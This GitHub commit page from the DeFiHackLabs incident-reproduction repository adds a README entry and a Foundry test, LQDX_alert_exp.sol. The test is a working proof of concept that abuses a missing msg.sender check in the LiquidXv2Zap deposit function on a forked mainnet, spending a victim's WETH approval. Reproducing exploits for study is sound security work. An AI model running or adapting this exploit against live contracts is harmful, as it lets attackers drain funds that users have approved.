Skip to content

Commit

Permalink
Merge pull request SunWeb3Sec#551 from jes16jupyter/main
Browse files Browse the repository at this point in the history
  • Loading branch information
SunWeb3Sec authored Feb 13, 2024
2 parents 2486aa2 + 0cca11c commit 3f85d7e
Show file tree
Hide file tree
Showing 2 changed files with 131 additions and 0 deletions.
21 changes: 21 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -48,6 +48,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/

[20240112 WiseLending](#20240112-wiselending---loss-of-precision)

[20240110 LQDX Alert](#20240110-lqdx---unauthorized-transferfrom)

[20240104 Gamma](#20240104-gamma---price-manipulation)

[20240102 RadiantCapital](#20240102-radiantcapital---loss-of-precision)
Expand Down Expand Up @@ -908,6 +910,25 @@ https://twitter.com/peckshield/status/1745907642118123774

---

### 20240110 LQDX - Unauthorized TransferFrom

### Lost: unknown

```
forge test --contracts src/test/LQDX_alert_exp.sol -vvv
```

#### Contract

[LQDX_alert_exp.sol](src/test/LQDX_alert_exp.sol)

#### Link reference

https://twitter.com/SlowMist_Team/status/1744972012865671452

---


### 20240104 Gamma - Price manipulation

### Lost: ~6.3M
Expand Down
110 changes: 110 additions & 0 deletions src/test/LQDX_alert_exp.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,110 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

// @Info
// LQDX LiquidXv2Zap Contract : https://etherscan.io/address/0x364f17a23ae4350319b7491224d10df5796190bc#codeL490

// @NewsTrack
// SlowMist : https://twitter.com/SlowMist_Team/status/1744972012865671452

// Note: the problem lies in the `deposit` function where there is no check that the `account` should be `msg.sender`, thus `account`'s approval on the `zap` can be spent to buy tokens and add liquidity.


interface ILiquidXv2Zap {
struct swapRouter {
string platform;
address tokenIn;
address tokenOut;
uint256 amountOutMin;
uint256 meta; // fee, flag(stable), 0=v2
uint256 percent;
}
struct swapLine {
swapRouter[] swaps;
}
struct swapBlock {
swapLine[] lines;
}

struct swapPath {
swapBlock[] path;
}

function deposit(
address account,
address token,
address tokenM,
swapPath calldata path,
address token0,
address token1,
uint256[3] calldata amount,
uint256 basketId
) external payable returns(uint256);
}

interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
}

interface ILiquidXv2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

contract Exploit is Test {

IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 LQDX = IERC20(0x872952d3c1Caf944852c5ADDa65633F1Ef218A26);
ILiquidXv2Zap zap = ILiquidXv2Zap(0x364f17A23AE4350319b7491224d10dF5796190bC);
ILiquidXv2Pair WETH_LQDX_pair = ILiquidXv2Pair(0x1884C3D0ac1A3ACF0698b2a19866cee4cE27c31A);

address victim = address(0x1);
address attacker = address(0xbad);


function setUp() public {
vm.createSelectFork("mainnet", 19165893);
vm.deal(victim, 1 ether);
vm.deal(attacker, 1 ether);
deal(address(WETH), victim, 10 ether); // the approved funds to be stolen
emit log_named_uint(
"victim WETH balance (ether) before attack", (WETH.balanceOf(victim)) / 1 ether
);
vm.prank(victim);
WETH.approve(address(zap), 10 ether);
emit log_named_uint(
"victim approved on zap contract (ether)", (WETH.allowance(victim, address(zap))) / 1 ether
);
}

function testExploit() public {
vm.startPrank(attacker);
(uint112 lqdx_before, uint112 weth_before,) = WETH_LQDX_pair.getReserves();
emit log_named_uint("before attack, LQDX in the pool", lqdx_before / 1 ether);
emit log_named_uint("before attack, WETH in the pool", weth_before / 1 ether);

// attack starts here
ILiquidXv2Zap.swapBlock[] memory path;
uint[3] memory amounts = [WETH.allowance(victim, address(zap)),0,0];
zap.deposit(victim,
address(WETH),
address(WETH),
ILiquidXv2Zap.swapPath({path:path}),
address(WETH),
address(LQDX),
amounts,
0);

(uint112 lqdx_after, uint112 weth_after,) = WETH_LQDX_pair.getReserves();
emit log_named_uint("after attack, LQDX in the pool", lqdx_after / 1 ether);
emit log_named_uint("after attack, WETH in the pool", weth_after / 1 ether);
emit log_named_uint(
"victim WETH balance (ether) after attack", (WETH.balanceOf(victim)) / 1 ether
);
}
}

0 comments on commit 3f85d7e

Please sign in to comment.